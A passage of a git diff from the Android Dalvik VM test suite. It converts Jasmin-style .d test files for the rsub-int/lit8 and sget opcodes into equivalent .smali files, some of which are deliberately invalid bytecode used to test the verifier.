+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 123
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -123
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.d
deleted file mode 100644
index b9b5c3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_3.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali
new file mode 100644
index 0000000..8ecc056
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.d
deleted file mode 100644
index b330a45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_4.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 127
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali
new file mode 100644
index 0000000..233d836
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 127
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.d
deleted file mode 100644
index 77a0e8b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_5.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -128
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali
new file mode 100644
index 0000000..dfd7bcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -128
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.d
deleted file mode 100644
index bd5d5ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_6.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali
new file mode 100644
index 0000000..a415826
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.d
deleted file mode 100644
index 18cd602..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_7.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v3, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali
new file mode 100644
index 0000000..9588de7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v3, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.d
deleted file mode 100644
index 69df5ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_8.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v4, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali
new file mode 100644
index 0000000..468e753
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int/lit8 v0, v4, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.d
deleted file mode 100644
index 4db3540..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_lit8_9.java
-.class public dot.junit.opcodes.rsub_int_lit8.d.T_rsub_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 4
-
-       rsub-int/lit8 v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali
new file mode 100644
index 0000000..9f2aa22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/rsub_int_lit8/d/T_rsub_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 4
+
+       rsub-int/lit8 v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.d
deleted file mode 100644
index 35e5808..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_1.java
-.class public dot.junit.opcodes.sget.d.T_sget_1
-.super java/lang/Object
-
-.field public static i1 I
-.field protected static p1 I
-.field private static pvt1 I
-
-.method static <clinit>()V
-.limit regs 1
-       const/4 v0, 5
-       sput v0, dot.junit.opcodes.sget.d.T_sget_1.i1 I
-
-       const/16 v0, 10
-       sput v0, dot.junit.opcodes.sget.d.T_sget_1.p1 I
-
-       const/16 v0, 20
-       sput v0, dot.junit.opcodes.sget.d.T_sget_1.pvt1 I
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_1.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali
new file mode 100644
index 0000000..029f328
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_1.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+.field protected static p1:I
+.field private static pvt1:I
+
+.method static constructor <clinit>()V
+.registers 1
+       const/4 v0, 5
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->i1:I
+
+       const/16 v0, 10
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->p1:I
+
+       const/16 v0, 20
+       sput v0, Ldot/junit/opcodes/sget/d/T_sget_1;->pvt1:I
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.d
deleted file mode 100644
index fb446be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_11.java
-.class public dot.junit.opcodes.sget.d.T_sget_11
-.super dot/junit/opcodes/sget/d/T_sget_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget/d/T_sget_1/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_1.p1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali
new file mode 100644
index 0000000..fb4cdd5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_11.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_11;
+.super  Ldot/junit/opcodes/sget/d/T_sget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget/d/T_sget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->p1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.d
deleted file mode 100644
index b1e9093..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_12.java
-.class public dot.junit.opcodes.sget.d.T_sget_12
-.super dot/junit/opcodes/sget/d/T_sget_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget/d/T_sget_1/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_1.pvt1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali
new file mode 100644
index 0000000..3382f21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_12.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_12;
+.super  Ldot/junit/opcodes/sget/d/T_sget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget/d/T_sget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_1;->pvt1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.d
deleted file mode 100644
index 7122dbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_13.java
-.class public dot.junit.opcodes.sget.d.T_sget_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget v0, dot.junit.opcodes.sget.d.T_sget_13.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali
new file mode 100644
index 0000000..aa7a40c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_13.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget v0, Ldot/junit/opcodes/sget/d/T_sget_13;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_14.smali
new file mode 100644
index 0000000..4d2c2d6
--- /dev/null
